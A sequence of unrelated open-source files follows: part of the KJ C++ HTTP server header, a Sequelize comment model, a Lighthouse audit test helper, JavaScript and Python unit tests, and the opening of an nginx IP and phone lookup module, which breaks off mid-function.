outgoing // frames will not be masked. Servers are required NOT to mask their outgoing frames, but clients // ARE required to do so. So, on the client side, you MUST specify an entropy source. The mask // must be crytographically random if the data being sent on the WebSocket may be malicious. The // purpose of the mask is to prevent badly-written HTTP proxies from interpreting "things that look // like HTTP requests" in a message as being actual HTTP requests, which could result in cache // poisoning. See RFC6455 section 10.3. struct WebSocketPipe { kj::Own<WebSocket> ends[2]; }; WebSocketPipe newWebSocketPipe(); // Create a WebSocket pipe. Messages written to one end of the pipe will be readable from the other // end. No buffering occurs -- a message send does not complete until a corresponding receive // accepts the message. class HttpServerErrorHandler; class HttpServerCallbacks; struct HttpServerSettings { kj::Duration headerTimeout = 15 * kj::SECONDS; // After initial connection open, or after receiving the first byte of a pipelined request, // the client must send the complete request within this time. kj::Duration pipelineTimeout = 5 * kj::SECONDS; // After one request/response completes, we'll wait up to this long for a pipelined request to // arrive. kj::Duration canceledUploadGracePeriod = 1 * kj::SECONDS; size_t canceledUploadGraceBytes = 65536; // If the HttpService sends a response and returns without having read the entire request body, // then we have to decide whether to close the connection or wait for the client to finish the // request so that it can pipeline the next one. We'll give them a grace period defined by the // above two values -- if they hit either one, we'll close the socket, but if the request // completes, we'll let the connection stay open to handle more requests. kj::Maybe<HttpServerErrorHandler&> errorHandler = nullptr; // Customize how client protocol errors and service application exceptions are handled by the // HttpServer. If null, HttpServerErrorHandler's default implementation will be used. kj::Maybe<HttpServerCallbacks&> callbacks = nullptr; // Additional optional callbacks used to control some server behavior. }; class HttpServerErrorHandler { public: virtual kj::Promise<void> handleClientProtocolError( HttpHeaders::ProtocolError protocolError, kj::HttpService::Response& response); virtual kj::Promise<void> handleApplicationError( kj::Exception exception, kj::Maybe<kj::HttpService::Response&> response); virtual kj::Promise<void> handleNoResponse(kj::HttpService::Response& response); // Override these functions to customize error handling during the request/response cycle. // // Client protocol errors arise when the server receives an HTTP message that fails to parse. As // such, HttpService::request() will not have been called yet, and the handler is always // guaranteed an opportunity to send a response. The default implementation of // handleClientProtocolError() replies with a 400 Bad Request response. // // Application errors arise when HttpService::request() throws an exception. The default // implementation of handleApplicationError() maps the following exception types to HTTP statuses, // and generates bodies from the stringified exceptions: // // - OVERLOADED: 503 Service Unavailable // - UNIMPLEMENTED: 501 Not Implemented // - DISCONNECTED: (no response) // - FAILED: 500 Internal Server Error // // No-response errors occur when HttpService::request() allows its promise to settle before // sending a response. The default implementation of handleNoResponse() replies with a 500 // Internal Server Error response. // // Unlike `HttpService::request()`, when calling `response.send()` in the context of one of these // functions, a "Connection: close" header will be added, and the connection will be closed. // // Also unlike `HttpService::request()`, it is okay to return kj::READY_NOW without calling // `response.send()`. In this case, no response will be sent, and the connection will be closed. }; class HttpServerCallbacks { public: virtual bool shouldClose() { return false; } // Whenever the HttpServer begins response headers, it will check `shouldClose()` to decide // whether to send a `Connection: close` header and close the connection. // // This can be useful e.g. if the server has too many connections open and wants to shed some // of them. Note that to implement graceful shutdown of a server, you should use // `HttpServer::drain()` instead. }; class HttpServer final: private kj::TaskSet::ErrorHandler { // Class which listens for requests on ports or connections and sends them to an HttpService. public: typedef HttpServerSettings Settings; typedef kj::Function<kj::Own<HttpService>(kj::AsyncIoStream&)> HttpServiceFactory; HttpServer(kj::Timer& timer, HttpHeaderTable& requestHeaderTable, HttpService& service, Settings settings = Settings()); // Set up an HttpServer that directs incoming connections to the given service. The service // may be a host service or a proxy service depending on whether you are intending to implement // an HTTP server or an HTTP proxy. HttpServer(kj::Timer& timer, HttpHeaderTable& requestHeaderTable, HttpServiceFactory serviceFactory, Settings settings = Settings()); // Like the other constructor, but allows a new HttpService object to be used for each // connection, based on the connection object. This is particularly useful for capturing the // client's IP address and injecting it as a header. kj::Promise<void> drain(); // Stop accepting new connections or new requests on existing connections. Finish any requests // that are already executing, then close the connections. Returns once no more requests are // in-flight. kj::Promise<void> listenHttp(kj::ConnectionReceiver& port); // Accepts HTTP connections on the given port and directs them to the handler. // // The returned promise never completes normally. It may throw if port.accept() throws. Dropping // the returned promise will cause the server to stop listening on the port, but already-open // connections will continue to be served. Destroy the whole HttpServer to cancel all I/O. kj::Promise<void> listenHttp(kj::Own<kj::AsyncIoStream> connection); // Reads HTTP requests from the given connection and directs them to the handler. A successful // completion of the promise indicates that all requests received on the connection resulted in // a complete response, and the client closed the connection gracefully or drain() was called. // The promise throws if an unparseable request is received or if some I/O error occurs. Dropping // the returned promise will cancel all I/O on the connection and cancel any in-flight requests. kj::Promise<bool> listenHttpCleanDrain(kj::AsyncIoStream& connection); // Like listenHttp(), but allows you to potentially drain the server without closing connections. // The returned promise resolves to `true` if the connection has been left in a state where a // new HttpServer could potentially accept further requests from it. If `false`, then the // connection is either in an inconsistent state or already completed a closing handshake; the // caller should close it without any further reads/writes. Note this only ever returns `true` // if you called `drain()` -- otherwise this server would keep handling the connection. private: class Connection; kj::Timer& timer; HttpHeaderTable& requestHeaderTable; kj::OneOf<HttpService*, HttpServiceFactory> service; Settings settings; bool draining = false; kj::ForkedPromise<void> onDrain; kj::Own<kj::PromiseFulfiller<void>> drainFulfiller; uint connectionCount = 0; kj::Maybe<kj::Own<kj::PromiseFulfiller<void>>> zeroConnectionsFulfiller; kj::TaskSet tasks; HttpServer(kj::Timer& timer, HttpHeaderTable& requestHeaderTable, kj::OneOf<HttpService*, HttpServiceFactory> service, Settings settings, kj::PromiseFulfillerPair<void> paf); kj::Promise<void> listenLoop(kj::ConnectionReceiver& port); void taskFailed(kj::Exception&& exception) override; }; // ======================================================================================= // inline implementation inline void HttpHeaderId::requireFrom(const HttpHeaderTable& table) const { KJ_IREQUIRE(this->table == nullptr || this->table == &table, "the provided HttpHeaderId is from the wrong HttpHeaderTable"); } inline kj::Own<HttpHeaderTable> HttpHeaderTable::Builder::build() { return kj::mv(table); } inline HttpHeaderTable& HttpHeaderTable::Builder::getFutureTable() { return *table; } inline uint HttpHeaderTable::idCount() const { return namesById.size(); } inline kj::StringPtr HttpHeaderTable::idToString(HttpHeaderId id) const { id.requireFrom(*this); return namesById[id.id]; } inline kj::Maybe<kj::StringPtr> HttpHeaders::get(HttpHeaderId id) const { id.requireFrom(*table); auto result = indexedHeaders[id.id]; return result == nullptr ? kj::Maybe<kj::StringPtr>(nullptr) : result; } inline void HttpHeaders::unset(HttpHeaderId id) { id.requireFrom(*table); indexedHeaders[id.id] = nullptr; } template <typename Func> inline void HttpHeaders::forEach(Func&& func) const { for (auto i: kj::indices(indexedHeaders)) { if (indexedHeaders[i] != nullptr) { func(table->idToString(HttpHeaderId(table, i)), indexedHeaders[i]); } } for (auto& header: unindexedHeaders) { func(header.name, header.value); } } template <typename Func1, typename Func2> inline void HttpHeaders::forEach(Func1&& func1, Func2&& func2) const { for (auto i: kj::indices(indexedHeaders)) { if (indexedHeaders[i] != nullptr) { func1(HttpHeaderId(table, i), indexedHeaders[i]); } } for (auto& header: unindexedHeaders) { func2(header.name, header.value); } } } // namespace kj
const { Model, DataTypes } = require('sequelize'); const sequelize = require('../config/connections'); class Comment extends Model {} Comment.init( { id: { type: DataTypes.INTEGER, primaryKey: true, autoIncrement: true }, comment_text: { type: DataTypes.STRING, allowNull: false }, user_id: { type: DataTypes.INTEGER, allowNull: false, references: { model: 'user', key: 'id' } }, post_id: { type: DataTypes.INTEGER, allowNull: false, references: { model: 'post', key: 'id' } } }, { sequelize, freezeTableName: true, underscored: true, modelName: 'comment' } ); module.exports = Comment;
/* * Copyright (c) 2015, Groupon, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of GROUPON nor the names of its contributors may be * used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ 'use strict'; const assert = require('assert'); const flatMap = require('array.prototype.flatmap'); const lighthouse = require('lighthouse'); /** * @typedef {import('lighthouse/types/lhr')} LH * @typedef {import('lighthouse/types/config').LH.Config} LH_Config * @typedef {import('lighthouse/types/externs').SharedFlagsSettings} LH_Flags * @typedef {import('lighthouse/types/artifacts').Artifacts} LH_Artifacts * * @typedef {Object} parsedLHResults * @property {number} score * @property {LH.Result.audits} audits * @property {function(string?): Record<string, any>|Record<string, any>[]} error * @property {function(): string} errorString * @property {function(number): boolean} isSuccess * @property {function(string?): Record<string, auditInfo>|Record<string, auditInfo>[]} success */ const defaultConfig = { extends: 'lighthouse:default', settings: { onlyCategories: [], throttlingMethod: 'simulate', }, }; const defaultFlags = { chromeFlags: [ '--disable-gpu', '--headless', '--disable-storage-reset', '--enable-logging', '--disable-device-emulation', '--no-sandbox', ], }; /** * @param {string} type * @param {Array<string>} [skipAudits] * @returns {Object} */ function getConfigByType(type, skipAudits) { const config = JSON.parse(JSON.stringify(defaultConfig)); if (type) { config.settings.onlyCategories.push(type); if (Array.isArray(skipAudits) && skipAudits.length) { config.settings = { ...config.settings, skipAudits }; } } return config; } /** * * @param {Record<string, any>} success * @param {Record<string, any>} failure * @returns {number} */ function getTotalScore(success, failure) { const successCount = Object.keys(success).length; const errorCount = Object.keys(failure).length; if (successCount + errorCount === 0) { return 0; } return (successCount * 100) / (successCount + errorCount); } /** * * @param {LH.RunnerResult} results * @returns {parsedLHResults} */ function parseLhResult(results) { if (!results || !results.lhr || !results.lhr.audits) { throw new Error(`Error fetching lighthouse audit results`); } const { audits } = results.lhr; const errorsObj = {}; const notApplicableObj = {}; const successObj = {}; /** * * @typedef {{description: LH.Audit.Result.description, details: LH.Audit.Result.details}} auditInfo */ Object.values(audits).forEach(audit => { const { id, description, details, score, scoreDisplayMode } = audit; /** * * @type {auditInfo} */ const auditInfo = { description, details }; if (score) { successObj[id] = auditInfo; } else if (scoreDisplayMode === 'notApplicable') { notApplicableObj[id] = auditInfo; } else if (scoreDisplayMode !== 'manual') { const snippets = []; ((details && details.items) || []).forEach(item => snippets.push((item.node && item.node.snippet) || '') ); errorsObj[id] = { description, snippets }; } }); const score = getTotalScore(successObj, errorsObj); return { audits, score, /** * @param {number} cutoff */ isSuccess(cutoff) { assert.ok( score >= cutoff, `Score ${score} is smaller than expected cutoff score ${cutoff}` ); }, /** * @param {string?} audit * @returns {Record<string, auditInfo>} */ success(audit) { return audit ? successObj[audit] : successObj; }, /** * @param {string?} audit * @returns {Record<string, any>} */ errors(audit) { return audit ? errorsObj[audit] : errorsObj; }, /** * @returns {string} */ errorString() { const errorList = []; for (const id in errorsObj) { const description = errorsObj[id].description; const snippets = errorsObj[id].snippets; errorList.push(`${description}:\n\t${snippets.join('\n\t')}`); } return errorList.join('\n\n'); }, }; } /** * * @param {string} category * @param {number} minScore * @param {Array<string>} [skipAudits] * @returns {Promise<parsedLHResults>} */ async function assertScoreByCategory(category, minScore, skipAudits = []) { minScore = minScore || 100; category = category.toLowerCase(); const config = getConfigByType(category, skipAudits); const results = await this.getLighthouseData(defaultFlags, config).then( parseLhResult ); assert.ok( results.score >= minScore, `${category} score ${results.score} to be greater than ${minScore}` ); return results; } /** * * @param {number} minScore * @param {Array<string>} [skipAudits] * @returns {Promise<parsedLHResults>} */ function assertPerformanceScore(minScore, skipAudits = []) { return this.assertScoreByCategory('performance', minScore, [ ...skipAudits, 'final-screenshot', 'is-on-https', 'screenshot-thumbnails', ]); } /** * * @param {number} minScore * @param {Array<string>} [skipAudits] * @returns {Promise<parsedLHResults>} */ function assertAccessibilityScore(minScore, skipAudits = []) { return this.assertScoreByCategory('accessibility', minScore, skipAudits); } /** * * @param {number} minScore * @param {Array<string>} skipAudits * @returns {Promise<parsedLHResults>} */ function assertBestPracticesScore(minScore, skipAudits = []) { return this.assertScoreByCategory('best-practices', minScore, skipAudits); } /** * * @param {number} minScore * @param {Array<string>} [skipAudits] * @returns {Promise<parsedLHResults>} */ function assertSeoScore(minScore, skipAudits = []) { return this.assertScoreByCategory('seo', minScore, skipAudits); } /** * * @param {number} minScore * @param {Array<string>} [skipAudits] * @returns {Promise<parsedLHResults>} */ function assertPwaScore(minScore, skipAudits = []) { return this.assertScoreByCategory('pwa', minScore, skipAudits); } /** * * @param {LH_Flags.Flags?} flags * @param {LH_Config.Json?} lhConfig * @returns {Promise<parsedLHResults>} * @legacy */ function runLighthouseAudit(flags, lhConfig) { return this.getLighthouseData(flags, lhConfig).then(parseLhResult); } /** * @param {{flags?: LH_Flags.Flags, config?: LH_Config.Json, ignore?:boolean}} options * @returns {Promise<{Object[]|[]>} */ async function a11yAudit(options = {}) { const { flags, config, ignore } = options; let violationsFilter; // function to filter violations if (typeof ignore === 'function') { violationsFilter = violation => !ignore(violation); } else if (Array.isArray(ignore)) { // e.g. ignore: ['html-has-lang'] violationsFilter = violation => !ignore.includes(violation.id); } else { violationsFilter = () => true; } const result = await this.getLighthouseData( flags || defaultFlags, config || getConfigByType('accessibility') ); // TODO: with node 12 use Array.prototype.flatMap return flatMap( result.artifacts.Accessibility.violations.filter(violationsFilter), violation => { const { nodes, ...violationData } = violation; return nodes.map(node => { return { ...violationData, auditId: violationData.id, selector: Array.isArray(node.target) ? node.target.join(' ') : '', path: node.path, snippet: node.snippet, }; }); } ); } /** * @param {LH_Flags.Flags?} flags * @param {LH_Config.Json?} config * @returns {Promise<LH.RunnerResult>} */ async function getLighthouseData(flags, config) { if (!lighthouse) { throw new Error('Lighthouse requires a newer version of node'); } const devtoolsPort = await this.getChromeDevtoolsPort(); const options = { port: devtoolsPort, ...flags }; const url = await this.url(); return lighthouse(url, options, config); } module.exports = { a11yAudit, assertAccessibilityScore, assertBestPracticesScore, assertPerformanceScore, assertPwaScore, assertSeoScore, assertScoreByCategory, getLighthouseData, runLighthouseAudit, };
import ajaxStatusReducer from './ajaxStatusReducer'; import * as actions from '../actions/ajaxStatusActions'; describe('Ajax Reducer', () => { it('should sum 1 to ajaxCallsInProgress when BEGIN_AJAX_CALL is called', () => { // arrange const initialState = 0; const action = actions.beginAjaxCall(); // act const newState = ajaxStatusReducer(initialState, action); // assert expect(newState).toEqual(1); }); it('should remove 1 to ajaxCallsInProgress when AJAX_CALL_ERROR is called', () => { // arrange const initialState = 1; const action = actions.ajaxCallError(); // act const newState = ajaxStatusReducer(initialState, action); // assert expect(newState).toEqual(0); }); });
# coding=utf-8 # Copyright 2018-2020 EVA # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest import numpy as np from src.models.storage.batch import FrameBatch from test.util import create_dataframe_same, create_dataframe NUM_FRAMES = 10 class FrameBatchTest(unittest.TestCase): def test_set_outcomes_method_should_set_the_predictions_with_udf_name( self): batch = FrameBatch(frames=create_dataframe()) batch.set_outcomes('test', [None]) self.assertEqual([None], batch.get_outcomes_for('test')) def test_get_outcome_from_non_existing_udf_name_returns_empty_list(self): batch = FrameBatch(frames=create_dataframe()) self.assertEqual([], batch.get_outcomes_for('test')) def test_frames_as_numpy_array_should_frames_as_numpy_array(self): batch = FrameBatch( frames=create_dataframe_same(2)) expected = list(np.ones((2, 1, 1))) actual = list(batch.frames_as_numpy_array()) self.assertEqual(expected, actual) def test_return_only_frames_specified_in_the_indices(self): batch = FrameBatch( frames=create_dataframe(2)) expected = FrameBatch(frames=create_dataframe()) output = batch[[0]] self.assertEqual(expected, output) def test_fetching_frames_by_index_should_also_return_outcomes(self): batch = FrameBatch( frames=create_dataframe_same(2), outcomes={'test': [[None], [None]]}) expected = FrameBatch(frames=create_dataframe(), outcomes={'test': [[None]]}) self.assertEqual(expected, batch[[0]]) def test_slicing_on_batched_should_return_new_batch_frame(self): batch = FrameBatch( frames=create_dataframe(2), outcomes={'test': [[None], [None]]}) expected = FrameBatch(frames=create_dataframe(), outcomes={'test': [[None]]}) self.assertEqual(batch, batch[:]) self.assertEqual(expected, batch[:-1]) def test_slicing_should_word_for_negative_stop_value(self): batch = FrameBatch( frames=create_dataframe(2), outcomes={'test': [[None], [None]]}) expected = FrameBatch(frames=create_dataframe(), outcomes={'test': [[None]]}) self.assertEqual(expected, batch[:-1]) def test_slicing_should_work_with_skip_value(self): batch = FrameBatch( frames=create_dataframe(3), outcomes={'test': [[None], [None], [None]]}) expected = FrameBatch( frames=create_dataframe(3).iloc[[0, 2], :], outcomes={'test': [[None], [None]]}) self.assertEqual(expected, batch[::2]) def test_fetching_frames_by_index_should_also_return_temp_outcomes(self): batch = FrameBatch( frames=create_dataframe_same(2), outcomes={'test': [[1], [2]]}, temp_outcomes={'test2': [[3], [4]]}) expected = FrameBatch(frames=create_dataframe(), outcomes={'test': [[1]]}, temp_outcomes={'test2': [[3]]}) self.assertEqual(expected, batch[[0]]) def test_set_outcomes_method_should_set_temp_outcome_when_bool_is_true( self): batch = FrameBatch(frames=create_dataframe()) batch.set_outcomes('test', [1], is_temp=True) expected = FrameBatch(frames=create_dataframe(), temp_outcomes={'test': [1]}) self.assertEqual(expected, batch) def test_has_outcomes_returns_false_if_the_given_name_not_in_outcomes( self): batch = FrameBatch(frames=create_dataframe()) self.assertFalse(batch.has_outcome('temp')) def test_has_outcomes_returns_true_if_the_given_name_is_in_outcomes( self): batch = FrameBatch(frames=create_dataframe()) batch.set_outcomes('test_temp', [1], is_temp=True) batch.set_outcomes('test', [1]) self.assertTrue(batch.has_outcome('test')) self.assertTrue(batch.has_outcome('test_temp'))
/* * Copyright (C) detailyang * Copyright (C) Youzan, Inc. */ #include <ngx_config.h> #include <ngx_core.h> #include <ngx_http.h> #include "cJSON.h" #define NGX_HTTP_IPIP_DATX_LITTLEEND(b) (((b)[0] & 0xFF) | (((b)[1] << 8) & 0xFF00) | (((b)[2] << 16) & 0xFF0000) | (((b)[3] << 24) & 0xFF000000)) #define NGX_HTTP_IPIP_DATX_BIGEND(b) (((b)[3] & 0xFF) | (((b)[2] << 8) & 0xFF00) | (((b)[1] << 16) & 0xFF0000) | (((b)[0] << 24) & 0xFF000000)) #define NGX_HTTP_IPIP_PHONE_LEN 7 #define NGX_HTTP_IPIP_EMPTY_RESPONSE "{\"ret\": \"ok\", \"data\": []}" typedef struct { ngx_rbtree_node_t node; ngx_int_t offset; ngx_int_t len; } ngx_http_ipip_phone_node_t; typedef struct { u_char *addr; u_char *index; ngx_int_t offset; }ngx_http_ipip_ip_datx_t; typedef struct { u_char *addr; ngx_rbtree_t rbtree; ngx_rbtree_node_t sentinel; } ngx_http_ipip_phone_txt_t; typedef struct { ngx_file_mapping_t ip; ngx_http_ipip_ip_datx_t ip_datx; ngx_file_mapping_t phone; ngx_http_ipip_phone_txt_t phone_txt; } ngx_http_ipip_main_conf_t; typedef struct { ngx_flag_t enable; } ngx_http_ipip_loc_conf_t; static void ngx_http_ipip_exit_process(ngx_cycle_t *cycle); static ngx_int_t ngx_http_ipip_post_conf(ngx_conf_t *cf); static void *ngx_http_ipip_create_main_conf(ngx_conf_t *cf); static char *ngx_http_ipip_init_main_conf(ngx_conf_t *cf, void *conf); static void *ngx_http_ipip_create_loc_conf(ngx_conf_t *cf); static char *ngx_http_ipip_ip_datx(ngx_conf_t *cf, ngx_command_t *cmd, void *conf); static char *ngx_http_ipip_phone_txt(ngx_conf_t *cf, ngx_command_t *cmd, void *conf); static char *ngx_http_ipip_enable(ngx_conf_t *cf, ngx_command_t *cmd, void *conf); static ngx_int_t ngx_http_ipip_ip_lookup(ngx_http_ipip_ip_datx_t *datx, u_char *ip, u_char *result); static ngx_int_t ngx_http_ipip_phone_lookup(ngx_http_ipip_phone_txt_t *txt, u_char *phone, u_char *result); static ngx_int_t ngx_http_ipip_handler(ngx_http_request_t *r); static ngx_int_t ngx_http_ipip_json_stringify(ngx_http_request_t *r, cJSON *root, u_char **buf, ssize_t *len); static void ngx_http_ipip_rbtree_insert_value(ngx_rbtree_node_t *temp, ngx_rbtree_node_t *node, ngx_rbtree_node_t *sentinel); static ngx_command_t ngx_http_ipip_commands[] = { { ngx_string("ipip_ip_datx"), NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE1, ngx_http_ipip_ip_datx, NGX_HTTP_MAIN_CONF_OFFSET, 0, NULL }, { ngx_string("ipip_phone_txt"), NGX_HTTP_MAIN_CONF|NGX_CONF_TAKE1, ngx_http_ipip_phone_txt, NGX_HTTP_MAIN_CONF_OFFSET, 0, NULL }, { ngx_string("ipip"), NGX_HTTP_LOC_CONF|NGX_CONF_TAKE1, ngx_http_ipip_enable, NGX_HTTP_LOC_CONF_OFFSET, 0, NULL }, ngx_null_command }; static ngx_http_module_t ngx_http_ipip_module_ctx = { NULL, /* preconfiguration */ ngx_http_ipip_post_conf, /* postconfiguration */ ngx_http_ipip_create_main_conf, /* create main configuration */ ngx_http_ipip_init_main_conf, /* init main configuration */ NULL, /* create server configuration */ NULL, /* merge server configuration */ ngx_http_ipip_create_loc_conf, /* create location configuration */ NULL /* merge location configuration */ }; ngx_module_t ngx_http_ipip_module = { NGX_MODULE_V1, &ngx_http_ipip_module_ctx, /* module context */ ngx_http_ipip_commands, /* module directives */ NGX_HTTP_MODULE, /* module type */ NULL, /* init master */ NULL, /* init module */ NULL, /* init process */ NULL, /* init thread */ NULL, /* exit thread */ ngx_http_ipip_exit_process, /* exit process */ NULL, /* exit master */ NGX_MODULE_V1_PADDING }; static void ngx_http_ipip_exit_process(ngx_cycle_t *cycle) { return; } static ngx_int_t ngx_http_ipip_post_conf(ngx_conf_t *cf) { return NGX_OK; } static void * ngx_http_ipip_create_main_conf(ngx_conf_t *cf) { ngx_http_ipip_main_conf_t *imcf; imcf = ngx_pcalloc(cf->pool, sizeof(ngx_http_ipip_main_conf_t)); if (imcf == NULL) { return NULL; } return imcf; } static char * ngx_http_ipip_init_main_conf(ngx_conf_t *cf, void *conf) { return NGX_CONF_OK; } static void * ngx_http_ipip_create_loc_conf(ngx_conf_t *cf) { ngx_http_ipip_loc_conf_t *ilcf; ilcf = ngx_pcalloc(cf->pool, sizeof(ngx_http_ipip_loc_conf_t)); if (ilcf == NULL) { return NULL; } ilcf->enable = NGX_CONF_UNSET; return ilcf; } static char * ngx_http_ipip_ip_datx(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) { ngx_http_ipip_main_conf_t *imcf = conf; ngx_int_t n; ngx_str_t *value; struct stat s; if (imcf->ip.name != NULL) { return "is duplicate"; } value = cf->args->elts; if (ngx_conf_full_name(cf->cycle, &value[1], 0) != NGX_OK) { return NGX_CONF_ERROR; } imcf->ip.name = value[1].data; imcf->ip.fd = ngx_open_file(imcf->ip.name, NGX_FILE_RDONLY, 0, 0); if (imcf->ip.fd == NGX_INVALID_FILE) { ngx_conf_log_error(NGX_LOG_EMERG, cf, ngx_errno, ngx_open_file_n " \"%s\" failed", &imcf->ip.name); return NGX_CONF_ERROR; } if (fstat(imcf->ip.fd, &s) == -1) { ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "fstat \"%s\" failed", &imcf->ip.name); return NGX_CONF_ERROR; } imcf->ip.size = s.st_size; imcf->ip.log = cf->log; imcf->ip.addr = ngx_pcalloc(cf->pool, s.st_size); if (imcf->ip.addr == NULL) { ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "try to ngx_pcalloc \"%s\" %d bytes failed", imcf->ip.name, s.st_size); return NGX_CONF_ERROR; } n = read(imcf->ip.fd, imcf->ip.addr, s.st_size); if (n != s.st_size) { close(imcf->ip.fd); ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "try to read \"%s\" %d bytes failed", imcf->ip.name, s.st_size); return NGX_CONF_ERROR; } imcf->ip_datx.addr = imcf->ip.addr; imcf->ip_datx.offset = NGX_HTTP_IPIP_DATX_BIGEND(imcf->ip_datx.addr); imcf->ip_datx.index = imcf->ip_datx.addr + 4; close(imcf->ip.fd); return NGX_CONF_OK; } static char * ngx_http_ipip_phone_txt(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) { ngx_http_ipip_main_conf_t *imcf = conf; u_char *p; ngx_str_t *value; ngx_int_t n; ngx_uint_t i, lasti; struct stat s; ngx_http_ipip_phone_node_t *pnode; if (imcf->phone.name != NULL) { return "is duplicate"; } value = cf->args->elts; if (ngx_conf_full_name(cf->cycle, &value[1], 0) != NGX_OK) { return NGX_CONF_ERROR; } imcf->phone.name = value[1].data; imcf->phone.fd = ngx_open_file(imcf->phone.name, NGX_FILE_RDONLY, 0, 0); if (imcf->phone.fd == NGX_INVALID_FILE) { ngx_conf_log_error(NGX_LOG_EMERG, cf, ngx_errno, ngx_open_file_n " \"%s\" failed", imcf->phone.name); return NGX_CONF_ERROR; } if (fstat(imcf->phone.fd, &s) == -1) { ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "fstat \"%s\" failed", imcf->phone.name); return NGX_CONF_ERROR; } imcf->phone.size = s.st_size; imcf->phone.log = cf->log; imcf->phone.addr = ngx_pcalloc(cf->pool, s.st_size); if (imcf->phone.addr == NULL) { ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "try to ngx_pcalloc \"%s\" %d bytes failed", imcf->phone.name, s.st_size); return NGX_CONF_ERROR; } n = read(imcf->phone.fd, imcf->phone.addr, s.st_size); if (n != s.st_size) { close(imcf->phone.fd); ngx_conf_log_error(NGX_LOG_EMERG, cf, errno, "try to read \"%s\" %d bytes failed", imcf->phone.name, s.st_size); return NGX_CONF_ERROR; } imcf->phone_txt.addr = imcf->phone.addr; ngx_rbtree_init(&imcf->phone_txt.rbtree, &imcf->phone_txt.sentinel, ngx_http_ipip_rbtree_insert_value); lasti = 0; p = imcf->phone.addr; for (i = 0; i < imcf->phone.size; i ++) { if (p[i] != LF) { continue; } pnode = ngx_pcalloc(cf->pool, sizeof(ngx_http_ipip_phone_node_t)); if (pnode == NULL) { return NGX_CONF_ERROR; } pnode->offset = lasti; pnode->len = i - lasti; pnode->node.key = ngx_atoi(&p[lasti], 7); lasti = i + 1; ngx_rbtree_insert(&imcf->phone_txt.rbtree, &pnode->node); } close(imcf->phone.fd); return NGX_CONF_OK; } static void ngx_http_ipip_rbtree_insert_value(ngx_rbtree_node_t *temp, ngx_rbtree_node_t *node, ngx_rbtree_node_t *sentinel) { ngx_rbtree_node_t **p; ngx_http_ipip_phone_node_t *pnode, *pnodet; for ( ;; ) { if (node->key < temp->key) { p = &temp->left; } else if (node->key > temp->key) { p = &temp->right; } else { /* node->key == temp->key */ pnode = (ngx_http_ipip_phone_node_t *) &node->color; pnodet = (ngx_http_ipip_phone_node_t *) &temp->color; p = pnode->offset < pnodet->offset ? &temp->left : &temp->right; } if (*p == sentinel) { break; } temp = *p; } *p = node; node->parent = temp; node->left = sentinel; node->right = sentinel; ngx_rbt_red(node); } static char * ngx_http_ipip_enable(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) { ngx_http_ipip_loc_conf_t *ilcf = conf; ngx_str_t *value; ngx_http_core_loc_conf_t *clcf; if (ilcf->enable != NGX_CONF_UNSET) { return "is duplicate"; } value = cf->args->elts; if (ngx_strcasecmp(value[1].data, (u_char *) "on") == 0) { ilcf->enable = 1; clcf = ngx_http_conf_get_module_loc_conf(cf, ngx_http_core_module); clcf->handler = ngx_http_ipip_handler; } else if (ngx_strcasecmp(value[1].data, (u_char *) "off") == 0) { return NGX_CONF_OK; } else { ngx_conf_log_error(NGX_LOG_EMERG, cf, 0, "invalid value \"%s\" in \"%s\" directive, " "it must be \"on\" or \"off\"", value[1].data, cmd->name.data); return NGX_CONF_ERROR; } return NGX_CONF_OK; } static ngx_int_t ngx_http_ipip_phone_lookup(ngx_http_ipip_phone_txt_t *txt, u_char *phone, u_char *result) { ngx_uint_t hash; ngx_rbtree_t *rbtree; ngx_rbtree_node_t *node, *sentinel; ngx_http_ipip_phone_node_t *pnode; if (txt->addr == NULL) { return NGX_ERROR; } rbtree = &txt->rbtree; node = rbtree->root; sentinel = rbtree->sentinel; hash = ngx_atoi(phone, NGX_HTTP_IPIP_PHONE_LEN); while (node != sentinel) { if (hash < node->key) { node = node->left; continue; } if (hash > node->key) { node = node->right; continue; } /* hash == node->key */ pnode = (ngx_http_ipip_phone_node_t *)node; ngx_memcpy((void *)result, txt->addr + pnode->offset, pnode->len); return NGX_OK; } return NGX_ERROR; } static ngx_int_t ngx_http_ipip_ip_lookup(ngx_http_ipip_ip_datx_t *datx, u_char *ip, u_char *result) { u_char ips[4]; ngx_uint_t ip_prefix_value, ip2long_value, start, max_comp_len, index_offset, index_length; if (datx->addr == NULL) { return NGX_ERROR; } if (sscanf((const 